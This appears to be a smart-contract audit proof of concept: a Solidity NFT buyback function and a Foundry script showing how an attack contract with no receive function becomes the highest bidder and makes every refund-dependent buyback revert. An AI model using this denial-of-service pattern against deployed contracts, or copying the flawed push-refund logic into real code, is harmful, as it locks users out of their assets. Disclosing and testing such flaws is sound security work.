function buyBackNFT(uint256 tokenId) external payable {
TokenData storage data = tokenData[tokenId];
if (block.timestamp >= data.auctionEndTime) revert AuctionHasEnded();
if (nftContract.ownerOf(tokenId) != address(this)) revert NFTNotInLiquidation();
uint256 price = data.debt * 11 / 10;
if (msg.value < price) revert InsufficientPayment(price);
if (data.highestBidder != address(0)) {
payable(data.highestBidder).transfer(data.highestBid);
}
delete tokenData[tokenId];
nftContract.transferFrom(address(this), msg.sender, tokenId);
payable(stabilityPool).transfer(price);
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
emit BuybackCompleted(tokenId, msg.sender, price);
}
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import {console, Script} from "forge-std/Script.sol";
import {RAACNFT} from "../src/contracts/core/tokens/RAACNFT.sol";
import {NFTLiquidator} from "../src/contracts/core/pools/StabilityPool/NFTLiquidator.sol";
import {RAACHousePrices} from "../src/contracts/core/primitives/RAACHousePrices.sol";
import {RAACToken} from "../src/contracts/core/tokens/RAACToken.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract BIDDER3 {
constructor() payable {
}
}
contract StabilityPool {
NFTLiquidator public nftliquidator;
constructor(address _nftLiquidator) {
nftliquidator = NFTLiquidator(_nftLiquidator);
}
function triggerLiquidation(uint256 tokenId, uint256 debt) external {
nftliquidator.liquidateNFT(tokenId, debt);
}
}
contract Solve is Script, Test{
RAACNFT public raacnft;
NFTLiquidator public nftliquidator;
StabilityPool public stabilitypool;
RAACHousePrices public raac_hp;
RAACToken public raactoken;
BIDDER3 public bidder3;
address public useraddr = vm.envAddress("AASD");
address public DUMMYWALLET = vm.envAddress("DUMMYWALLET");
address public BIDDER1 = vm.envAddress("BIDDER1");
address public owner = vm.envAddress("OWNER");
address public RAACHOUSEPRICES_ADDR = vm.envAddress("RAACHousePrices");
address public CRVUSD_ADDR = vm.envAddress("CRV_USD");
address public RAACNFT_ADDR = vm.envAddress("NFT_CONTRACT");
address public RAACTOKEN_ADDR = vm.envAddress("RAACTOKEN");
address public STABILITYPOOL_ADDR;
constructor() {
nftliquidator = new NFTLiquidator(CRVUSD_ADDR, RAACNFT_ADDR, owner, 5);
stabilitypool = new StabilityPool(address(nftliquidator));
bidder3 = new BIDDER3();
STABILITYPOOL_ADDR = address(stabilitypool);
raac_hp = RAACHousePrices(RAACHOUSEPRICES_ADDR);
raacnft = RAACNFT(RAACNFT_ADDR);
raactoken = RAACToken(RAACTOKEN_ADDR);
}
function init() internal {
vm.startPrank(owner);
raactoken.setMinter(owner);
raactoken.mint(useraddr, 1000 ether);
raac_hp.setOracle(owner);
raac_hp.setHousePrice(1, 100 ether);
nftliquidator.setStabilityPool(address(stabilitypool));
vm.stopPrank();
vm.startPrank(useraddr);
raactoken.approve(address(raacnft), 100 ether);
raacnft.mint(1, 100 ether);
raacnft.transferFrom(useraddr, address(stabilitypool), 1);
vm.stopPrank();
vm.startPrank(STABILITYPOOL_ADDR);
raacnft.approve(address(nftliquidator), 1);
vm.stopPrank();
stabilitypool.triggerLiquidation(1, 90 ether);
vm.startPrank(DUMMYWALLET);
bidder3 = new BIDDER3{value:9000 ether}();
vm.stopPrank();
}
function run() public {
init();
uint256 debt;
uint256 auctionEndTime;
address highestBidder;
(, auctionEndTime,,) = nftliquidator.tokenData(1);
require(auctionEndTime > 0, "The auction for the 1st NFT has not started");
require(address(bidder3).balance == 9000 ether, "The contract's balance is insufficient for the DoS attack");
console.log("Attacker's CA balance : ", address(bidder3).balance);
First, an attack contract (CA) attempts to bid and secures the highestBidder position
Second, an EOA pays a premium and attempts to bid on the NFT
However, because the attack contract (CA) does not implement the fallback or receive functions,
a DoS condition occurs, preventing the bid from succeeding
*/
vm.startPrank(address(bidder3));
nftliquidator.placeBid{value : 200 ether}(1);
(,,, highestBidder) = nftliquidator.tokenData(1);
assert(highestBidder == address(bidder3));
vm.stopPrank();
vm.startPrank(BIDDER1);
(debt,,,) = nftliquidator.tokenData(1);
uint256 price = debt * 11 / 10;
vm.expectRevert();
nftliquidator.buyBackNFT{value : price}(1);
vm.stopPrank();
console.log("Due to the DoS, it always reverts");
}
}